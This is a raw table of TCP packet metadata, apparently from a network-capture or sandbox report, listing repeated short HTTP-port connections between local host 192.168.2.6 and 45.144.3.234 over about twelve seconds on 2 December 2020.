Dec 2, 2020 11:53:26.441704035 CET	80	49829	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.441811085 CET	49829	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.444756031 CET	49829	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.496412992 CET	80	49829	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.496526957 CET	49829	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.561677933 CET	80	49829	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.583801031 CET	80	49829	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.583827972 CET	80	49829	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.583961010 CET	49829	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.584003925 CET	49829	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.635718107 CET	80	49829	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.825644970 CET	49830	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.878014088 CET	80	49830	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.879125118 CET	49830	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.882936001 CET	49830	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.935108900 CET	80	49830	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:26.936121941 CET	49830	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:26.988255978 CET	80	49830	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.009886026 CET	80	49830	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.009906054 CET	80	49830	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.010024071 CET	49830	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.010057926 CET	49830	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.062356949 CET	80	49830	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.230201960 CET	49832	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.282215118 CET	80	49832	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.283480883 CET	49832	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.289891005 CET	49832	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.342000961 CET	80	49832	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.345532894 CET	49832	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.402134895 CET	80	49832	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.425017118 CET	80	49832	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.425060987 CET	80	49832	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.425184965 CET	49832	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.425276995 CET	49832	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.477523088 CET	80	49832	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.659352064 CET	49833	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.711082935 CET	80	49833	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.711317062 CET	49833	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.719155073 CET	49833	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.772186995 CET	80	49833	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.772336960 CET	49833	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.824167967 CET	80	49833	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.845240116 CET	80	49833	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.845283031 CET	80	49833	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:27.845365047 CET	49833	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.845395088 CET	49833	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:27.898968935 CET	80	49833	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.097274065 CET	49835	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.150737047 CET	80	49835	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.153979063 CET	49835	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.159276962 CET	49835	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.211020947 CET	80	49835	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.211191893 CET	49835	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.263439894 CET	80	49835	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.285478115 CET	80	49835	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.285551071 CET	80	49835	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.285698891 CET	49835	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.285821915 CET	49835	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.337516069 CET	80	49835	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.518063068 CET	49837	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.571096897 CET	80	49837	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.571227074 CET	49837	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.578865051 CET	49837	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.632896900 CET	80	49837	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.633028030 CET	49837	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.686239958 CET	80	49837	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.707381010 CET	80	49837	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.707401037 CET	80	49837	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.707464933 CET	49837	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.707582951 CET	49837	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.760190010 CET	80	49837	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.939691067 CET	49838	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.992391109 CET	80	49838	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:28.992521048 CET	49838	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:28.995225906 CET	49838	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.047892094 CET	80	49838	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.048046112 CET	49838	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.100907087 CET	80	49838	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.124566078 CET	80	49838	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.124599934 CET	80	49838	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.124728918 CET	49838	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.124875069 CET	49838	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.177875996 CET	80	49838	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.365062952 CET	49840	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.417083979 CET	80	49840	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.417249918 CET	49840	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.419858932 CET	49840	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.472815990 CET	80	49840	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.472934961 CET	49840	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.524908066 CET	80	49840	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.546129942 CET	80	49840	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.546181917 CET	80	49840	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.546240091 CET	49840	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.547426939 CET	49840	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.630023956 CET	80	49840	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.775156975 CET	49841	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.829530001 CET	80	49841	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.829902887 CET	49841	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.835345984 CET	49841	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.887653112 CET	80	49841	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.887763023 CET	49841	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.940536976 CET	80	49841	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.961003065 CET	80	49841	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.961066008 CET	80	49841	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:29.961190939 CET	49841	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:29.961222887 CET	49841	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.013757944 CET	80	49841	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.185509920 CET	49843	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.237936974 CET	80	49843	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.238069057 CET	49843	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.245196104 CET	49843	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.297610044 CET	80	49843	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.297722101 CET	49843	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.350331068 CET	80	49843	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.371175051 CET	80	49843	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.371220112 CET	80	49843	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.371309996 CET	49843	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.371455908 CET	49843	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.428301096 CET	80	49843	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.564183950 CET	49844	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.618022919 CET	80	49844	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.618380070 CET	49844	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.625790119 CET	49844	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.678446054 CET	80	49844	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.678523064 CET	49844	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.731322050 CET	80	49844	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.751743078 CET	80	49844	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.751765013 CET	80	49844	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.751837015 CET	49844	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.751919031 CET	49844	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:30.811743021 CET	80	49844	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:30.978940010 CET	49845	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.034748077 CET	80	49845	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.034946918 CET	49845	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.037564993 CET	49845	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.089977980 CET	80	49845	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.090195894 CET	49845	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.142779112 CET	80	49845	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.164427042 CET	80	49845	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.164478064 CET	80	49845	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.164663076 CET	49845	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.164716005 CET	49845	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.215899944 CET	80	49845	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.444353104 CET	49846	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.497487068 CET	80	49846	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.497705936 CET	49846	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.503457069 CET	49846	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.556246042 CET	80	49846	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.556354046 CET	49846	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.609268904 CET	80	49846	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.630878925 CET	80	49846	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.630913019 CET	80	49846	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.631036997 CET	49846	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.631180048 CET	49846	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.683765888 CET	80	49846	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.815676928 CET	49847	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.868180990 CET	80	49847	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.868330002 CET	49847	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.875174999 CET	49847	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.927330017 CET	80	49847	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:31.927525997 CET	49847	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:31.979768038 CET	80	49847	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.010010004 CET	80	49847	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.010061979 CET	80	49847	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.010248899 CET	49847	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.010293007 CET	49847	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.062422991 CET	80	49847	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.250581026 CET	49848	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.302825928 CET	80	49848	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.302956104 CET	49848	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.306005955 CET	49848	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.358144999 CET	80	49848	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.358225107 CET	49848	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.410345078 CET	80	49848	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.430725098 CET	80	49848	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.432288885 CET	80	49848	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.432377100 CET	49848	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.432406902 CET	49848	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.485778093 CET	80	49848	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.617280960 CET	49849	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.674591064 CET	80	49849	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.674726009 CET	49849	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.677638054 CET	49849	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.732040882 CET	80	49849	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.732115984 CET	49849	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.784238100 CET	80	49849	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.804538965 CET	80	49849	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.804562092 CET	80	49849	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:32.804666996 CET	49849	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.804758072 CET	49849	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:32.856996059 CET	80	49849	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.032654047 CET	49850	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.085652113 CET	80	49850	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.085855007 CET	49850	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.088546991 CET	49850	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.141709089 CET	80	49850	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.142995119 CET	49850	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.196037054 CET	80	49850	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.217117071 CET	80	49850	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.217170954 CET	80	49850	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.217288971 CET	49850	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.217325926 CET	49850	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.270453930 CET	80	49850	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.469849110 CET	49851	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.522649050 CET	80	49851	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.523597002 CET	49851	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.527612925 CET	49851	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.579768896 CET	80	49851	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.580550909 CET	49851	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.632709980 CET	80	49851	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.653285980 CET	80	49851	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.653312922 CET	80	49851	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.653551102 CET	49851	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.653693914 CET	49851	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.705720901 CET	80	49851	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.877085924 CET	49853	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.930222988 CET	80	49853	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.930392981 CET	49853	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.937055111 CET	49853	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:33.988833904 CET	80	49853	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:33.989012957 CET	49853	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.040710926 CET	80	49853	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.063106060 CET	80	49853	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.063137054 CET	80	49853	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.063282967 CET	49853	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.063361883 CET	49853	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.115313053 CET	80	49853	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.310731888 CET	49854	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.363538980 CET	80	49854	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.363689899 CET	49854	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.366689920 CET	49854	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.421909094 CET	80	49854	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.422066927 CET	49854	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.474798918 CET	80	49854	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.511687994 CET	80	49854	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.511715889 CET	80	49854	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.511831999 CET	49854	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.511876106 CET	49854	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.564847946 CET	80	49854	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.746962070 CET	49855	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.799989939 CET	80	49855	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.800142050 CET	49855	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.808233976 CET	49855	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.861092091 CET	80	49855	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.861234903 CET	49855	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.914186001 CET	80	49855	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.935148001 CET	80	49855	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.935170889 CET	80	49855	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:34.935337067 CET	49855	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.935509920 CET	49855	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:34.988194942 CET	80	49855	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.176364899 CET	49856	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.228935957 CET	80	49856	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.229052067 CET	49856	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.232012987 CET	49856	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.284322977 CET	80	49856	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.284406900 CET	49856	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.336648941 CET	80	49856	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.356287003 CET	80	49856	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.356326103 CET	80	49856	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.356419086 CET	49856	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.356472969 CET	49856	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.409007072 CET	80	49856	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.568877935 CET	49857	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.623812914 CET	80	49857	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.624006987 CET	49857	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.626805067 CET	49857	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.680356979 CET	80	49857	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.680749893 CET	49857	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.733665943 CET	80	49857	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.766350031 CET	80	49857	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.766401052 CET	80	49857	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.766483068 CET	49857	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.766567945 CET	49857	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:35.822000027 CET	80	49857	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:35.963965893 CET	49858	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.015819073 CET	80	49858	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.015970945 CET	49858	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.022089958 CET	49858	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.073909998 CET	80	49858	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.075316906 CET	49858	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.127099037 CET	80	49858	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.150350094 CET	80	49858	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.150374889 CET	80	49858	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.150475025 CET	49858	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.150523901 CET	49858	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.202258110 CET	80	49858	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.377655983 CET	49859	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.431946993 CET	80	49859	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.433054924 CET	49859	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.435767889 CET	49859	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.488503933 CET	80	49859	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.488735914 CET	49859	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.541281939 CET	80	49859	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.561460018 CET	80	49859	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.561527967 CET	80	49859	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.561654091 CET	49859	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.561714888 CET	49859	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.613833904 CET	80	49859	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.814595938 CET	49860	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.870469093 CET	80	49860	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.870728970 CET	49860	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.878453016 CET	49860	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.931209087 CET	80	49860	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:36.931330919 CET	49860	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:36.985781908 CET	80	49860	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.006664038 CET	80	49860	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.006726027 CET	80	49860	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.007230997 CET	49860	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.007514000 CET	49860	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.060122967 CET	80	49860	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.253230095 CET	49861	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.312910080 CET	80	49861	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.313149929 CET	49861	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.316129923 CET	49861	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.369714022 CET	80	49861	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.369921923 CET	49861	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.427234888 CET	80	49861	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.454833031 CET	80	49861	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.454854012 CET	80	49861	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.454941988 CET	49861	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.455108881 CET	49861	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.507255077 CET	80	49861	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.698945999 CET	49862	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.751543999 CET	80	49862	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.751691103 CET	49862	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.757545948 CET	49862	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.810255051 CET	80	49862	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.810399055 CET	49862	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.863025904 CET	80	49862	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.885756016 CET	80	49862	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.885788918 CET	80	49862	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:37.887649059 CET	49862	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.887676954 CET	49862	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:37.943142891 CET	80	49862	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.121664047 CET	49863	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.175348997 CET	80	49863	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.175575018 CET	49863	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.181313038 CET	49863	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.234263897 CET	80	49863	45.144.3.234	192.168.2.6
